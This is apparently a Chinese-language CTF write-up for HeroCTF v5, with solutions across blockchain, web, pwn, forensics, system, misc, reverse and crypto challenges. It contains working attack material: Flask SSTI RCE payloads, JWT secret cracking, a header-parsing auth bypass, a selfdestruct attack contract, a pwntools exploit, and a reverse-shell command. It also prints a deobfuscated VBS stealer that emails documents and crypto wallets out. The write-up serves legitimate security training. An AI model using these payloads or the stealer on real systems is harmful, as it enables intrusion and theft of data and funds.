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前言
HeroCTF v5
星期六, 13 五月 2023, 03:00-星期一, 15 五月 2023, 05:00。
https://ctf.heroctf.fr
相关附件关注公众号回复 HeroCTFv5 获取
WEB | PWN | RE | MISC | Crypto | IOT
Blockchain
Challenge 00 : Oh sh. Here we go again
题目
题解
部署合约后只有合约地址，需要反编译合约
// Decompiled by library.dedaub.com
// 2023.05.12 19:25 UTC
// Compiled using the solidity compiler version 0.8.17
// Data structures and variables inferred from the use of storage instructions
uint256 _win; // STORAGE[0x0] bytes 0 to 0
uint256 stor_0_1_1; // STORAGE[0x0] bytes 1 to 1
function () public payable {
revert();
}
function 0x3c5269d8() public payable {
_win = 1;
}
function 0x459a2790() public payable {
return stor_0_1_1;
}
function win() public payable {
v0 = v1 = _win;
if (v1) {
v0 = stor_0_1_1;
}
return bool(v0);
}
function 0x75ec067a() public payable {
if (_win) {
stor_0_1_1 = 1;
}
}
function 0xe9a37061() public payable {
return _win;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x3c5269d8 == function_selector >> 224) {
0x3c5269d8();
} else if (0x459a2790 == function_selector >> 224) {
0x459a2790();
} else if (0x473ca96c == function_selector >> 224) {
win();
} else if (0x75ec067a == function_selector >> 224) {
0x75ec067a();
} else if (0xe9a37061 == function_selector >> 224) {
0xe9a37061();
}
}
();
}
其中关注的函数有这几个
function 0x3c5269d8() public payable：将_win变量设置为1。
function 0x459a2790() public payable：返回stor_0_1_1变量的值。
function 0x75ec067a() public payable：如果_win为真，则将stor_0_1_1变量设置为1。
function 0xe9a37061() public payable：返回_win变量的值。
题目目标可能为将 win 和 stor_0_1_1变量 设置为 1 即可, 通过小狐狸发送两次调用函数的十六进制数据设置变量
Challenge 01 : Classic one tbh
题目
题解
合约源码
pragma solidity 0.8.17;
contract hero2303
{
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "UNDIVTOK";
string public constant symbol = "UDK";
uint8 public constant decimals = 0;
uint256 public totalSupply;
function buy(uint256 _amount) external payable {
require(
msg.value == _amount * TOKEN_PRICE,
"Ether submitted and Token amount to buy mismatch"
);
userBalances[msg.sender] += _amount;
totalSupply += _amount;
}
function sell(uint256 _amount) external {
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
}
function transfer(address _to, uint256 _amount) external {
require(_to != address(0), "_to address is not valid");
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
userBalances[_to] += _amount;
}
function getEtherBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
漏洞点为 sell 函数
function sell(uint256 _amount) external {
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
}
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
assert断言条件为锁定的以太币要与总供应量相同，题目条件为使任何人调用 sell 函数无法卖出，我们只需要利用自毁函数 selfdestruct 强行打破代币平衡，导致无法出售
pragma solidity 0.8.17;
contract Attack {
address tokenaddr;
constructor(address _tokenaddr) {
tokenaddr = _tokenaddr;
}
function attack() external payable {
require(msg.value != 0, "Error");
address payable target = payable(tokenaddr);
selfdestruct(target);
}
}
WEB
Best Schools
题目
题解
解法1：代理池爆破绕过IP速率限制（非预期）
存在爆破速率限制，代理池轮询爆破即可。（正常思路应该是graphql注入）
解法2：graphql 批量查询
Graphql可以在同一个HTTP请求中，发送多个query请求。只需将发送的query请求作为一个数组即可。
单个query请求：
{"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"}
批量query请求：
[
{"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"},
{"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"},
...
]
利用Intruder中的 Character blocks payloads类型，即可完成爆破：
成功并发多个query请求：
Get Flag：
Referrrrer
题目
题解
该题是一个使用express框架的node.js应用，中间有一个nginx做代理服务器：用户请求 -> Nginx代理服务器 -> Express应用。
Nginx的配置文件中，/admin 接口限制只有Referer头的值为: https://admin.internal.com/ 的HTTP请求才允许被转发。
location /admin {
if ($http_referer !~* "^https://admin.internal.com") {
return 403;
}
而node.js源码中限制只有Referer头的值为YOU_SHOUD_NOT_PASS!的请求，才能获得带有FLAG的HTTP响应。
app.get("/admin", (req, res) => {
if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") {
return res.send(process.env.FLAG);
}
}
正常来讲如果想要同一个请求头被Nginx和Express读取为不同的值，就需要利用Nginx与Express对Referer头解析的差异性。
Referer请求头是RFC文档中官方定义的用于记录请求来源地址的HTTP请求头字段，而Referer实际上是Referrer这个单词的错误拼写，这是一个历史遗留的问题。
在Express6.0版本之前，Express开发者自行加入了对两种拼法全部支持的特性，甚至Referrer的优先级比官方规定的Referer更高(https://github.com/expressjs/express/issues/3951)；而Nginx完全按照RFC文档的规定进行开发，不会将似乎正确的拼法Referrer解析为Referer字段。
因此，利用这个差异性，即可绕过两个Referer检查的限制：
GET /admin HTTP/1.1
Host: app
Referer: https://admin.internal.com/
Referrer: YOU_SHOUD_NOT_PASS!
Drink from my Flask#1
题目
题解
URI处存在SSTI，且限制模板内长度为30字节：http://DOMAIN/{{config}}另一接口/adminPage访问提示 guest 用户无法访问，身份标识存在于服务下发的JWT中。
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
Header:
{
"typ": "JWT",
"alg": "HS256"
}
Payload:
{
"role": "guest"
}
Signature:
AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
由于SSTI限制34字节，此时有两个思路：1、绕过长度限制读flag；2、利用SSTI获得JWT的secret_key，修改role到admin并用key签名。
解法1：34字节SSTI RCE
通过 config.update 缓存制造变量，找一个 __globals__ 可以用第一个 config.update 存入的
https://flask.palletsprojects.com/en/2.0.x/config/
{{config.update(a=config.update)}}
{{config.a(b=lipsum.__globals__)}}
{{config.a(c=config.b.os)}}
{{config.a(d=config.c.popen)}}
读取 flag.txt 长度也有限制 用 cat f*t 读取
/{{config.d('cat f*t').read()}}
解法2：JWT弱key，Token data段中的role处存在无长度限制RCE
通过 Hashcat 使用弱密码爆破 JWT：
hashcat -a 0 -m 16500 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww ~/Github/brute_dict/jwt.secrets.list
可以得到 secret key 是 key
利用 https://jwt.io/ 使用密钥 key 对Token签名，可以看出，role字段会有回显：
可以想到此处即是无长度限制的SSTI注入点，SSTI payloads用key加密好直接打：
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*').read()}}
Pwn
Appointment Book
题目
题解
时间戳逆向拼凑bin_sh地址 二分直接找
#!/usr/bin/python2
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
leak = lambda name,data : p.success(name + ": 0x%x" % data)
sd = lambda payload: p.send(payload)
sa = lambda a,b :p.sendafter(str(a),str(b))
sl = lambda payload: p.sendline(payload)
sla = lambda a,b :p.sendlineafter(str(a),str(b))
ru = lambda a :p.recvuntil(str(a))
r = lambda a :p.recv(str(a))
debug = 2
if debug == 1:
p = process(['./chall'])
else:
p = remote('static-03.heroctf.fr',5000)
elf = ELF('./chall',checksec=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
bin_sh = 0x00000000040133E
# 4170422
sla("Your choice: ",2)
sla("Enter the index of this appointment (0-7): ",-13)
pd = "1970-02-18 14:27:02"
# gdb.attach(p,'b *0x0000000000401611nc')
sla("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS):",pd)
# sl("")
sleep(0.02)
sla("[+] Enter an associated message (place, people, notes...):",'a')
p.interactive()
flag:
Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr}
Prog
Math Trap
题目
题解
题目是需要进行计算，给出计算公式进行计算，脚本方法是将远程服务器端发送的计算公式转换成字符串使用eval执行。
# coding=utf-8
from pwn import *
r = remote('static-01.heroctf.fr', 8000)
def calculate(formula):
# 验证输入是否合法
allowed_chars = set('0123456789.+-*/() ')
if not set(formula) <= allowed_chars:
raise ValueError('Illegal characters in formula')
# 将输入的字符串作为 Python 代码执行，并得到计算结果
try:
result = eval(formula)
except ZeroDivisionError:
raise ValueError('Division by zero')
except Exception as e:
raise ValueError(f'Error during calculation: {str(e)}')
return result
while True:
# 获取远程连接并获取返回内容
content = r.recv().decode()
if not content:
break
print(content)
formula = content.split('n')[-2]
#print(formula)
if formula:
# 计算公式
result = calculate(formula)
print(f"计算结果为：{result}")
# 发送计算结果至远程主机
r.sendline(str(result).encode())
# 关闭远程连接
r.close()
Forensic
dev.corp 1/4
题目
题解
这是一个日志分析题，首先去搜索GET 或者POST请求，在请求中发现攻击者请求了很多admin-ajax.php文件。直接过滤admin-ajax.php文件筛选出返回成功的请求就能找到。可以看到是请求了三个文件，题目要求是最敏感的文件所以是id_rsa_backup。同时根据admin-ajax.php 可以搜索到对应的CVE漏洞编号。
Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup}
SYSTEM
Chm0d
题目
题解
http://www.fblinux.com/?p=30
SUDOkLu
题目
题解
user@sudoklu:~$ sudo -l
Matching Defaults entries for user on sudoklu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User user may run the following commands on sudoklu:
(privilegeduser) NOPASSWD: /usr/bin/socket
socket 以 privilegeduser 身份反弹shell
sudo -u privilegeduser /usr/bin/socket -qvp '/bin/sh -i' xxx.xxx.xxx.xxx 12345
Misc
PNG-G
题目
题解
是APNG文件 使用APNG查看器打开就能看到https://products.aspose.app/imaging/zh-hans/image-view/apng
PDF-Mess
题目
题解
binwalk 分离出一个js
const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';
crypto-js解密获得结果 https://tool.oschina.net/encrypt/
Subliminal#2
题目
题解
是一个mp4文件 会发现有个小方块一直出现，题目给了20x20像素。
首先分离所有帧率
import cv2
# 读取视频文件
cap = cv2.VideoCapture('video.mp4')
# 定义帧数计数器
frame_count = 0
while cap.isOpened():
# 逐帧读取视频
ret, frame = cap.read()
if not ret:
break
# 将当前帧保存成一张图片，图片命名以帧数命名
cv2.imwrite('frame_{}.jpg'.format(frame_count), frame)
# 帧数加一
frame_count += 1
# 释放资源
cap.release()
然后从左上到右下规律提取小方块 拼接成图片
import cv2
import numpy as np
# 定义空列表存储所有小方块
block_list = []
# 遍历所有帧，读取小方块
for i in range(2304):
# 读取当前帧的图片
frame = cv2.imread('frame_{}.jpg'.format(i))
# 提取小方块，左上角位置为(x, y)，大小为(w, h)
x, y = (i % 64) * 20, (i // 64) * 20
w, h = 20, 20
block = frame[y:y+h, x:x+w]
# 将小方块添加到列表中
block_list.append(block)
# 计算输出图片大小
rows = 36
cols = 64
output_size = (cols * 20, rows * 20)
# 初始化空白画布
canvas = np.zeros((output_size[1], output_size[0], 3), dtype=np.uint8)
# 拼接小方块到画布中
for i in range(rows):
for j in range(cols):
canvas[(i*20):(i+1)*20, (j*20):(j+1)*20] = block_list[i*cols+j]
# 展示拼接后的图片
cv2.imshow('Canvas', canvas)
cv2.waitKey(0)
cv2.destroyAllWindows()
# 保存拼接后的图片
cv2.imwrite("output.jpg", canvas)
Reverse
Give My Money Back
题目
题解
解压是一个vbs的代码
dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = 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axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))
enD sUB
FnCtqZiRWLtyCeayCzQdIrDKqrIZAkwRIzBsCpRXs
其实就是把那个很长的公式按 * 分割，然后计算结果转为chr
on error resume next
Const Desktop = 4
Const MyDocuments = 16
Set S = CreateObject("Wscript.Shell")
Set FSO = CreateObject("scripting.filesystemobject")
WScript.Sleep(1000 * 30)
strSMTP_Server = "smtp.mail.ru"
strTo = "[email protected]"
strFrom = "[email protected]"
strSubject = "AIRDROP"
strBody = "LOG"
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set wshShell = CreateObject( "WScript.Shell" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "[email protected]"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "R4CMZ3rVnMFtzz6vzRi1"
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
iMsg.AddAttachment "C:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "A:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "B:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "D:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "C:Users" & strUserName & "AppDataRoamingBitcoinwallet.dat"
iMsg.AddAttachment "C:Users" & strUserName & "AppDataRoamingElectrumwalletsdefault_wallet"
iMsg.Send
Set mFSO = CreateObject("Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)
邮箱是 [email protected] 文件是 default_wallet
Crypto
Hyper Loop
题目
题解
简单的异或直接可以根据flag格式还原key
from os import urandom
flag =b'x05px07MSxfd4eFPwxf9}%x05x03x19xe8'
flags=b'Hero{'
key=[]
for i in range(len(flags)):
key.append(flags[i]^flag[i])
key.append(ord('}')^flag[-1])
a=''
key=key*3
for j in range(len(flag)):
a+=chr(flag[j]^key[j])
print(a)
#Hero{hyp3r_l00p!1}
作者
CTF战队
ctf.wgpsec.org
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微信号：wgpsec
Twitter：@wgpsec
原文始发于微信公众号（WgpSec狼组安全团队）：HeroCTF v5 题解
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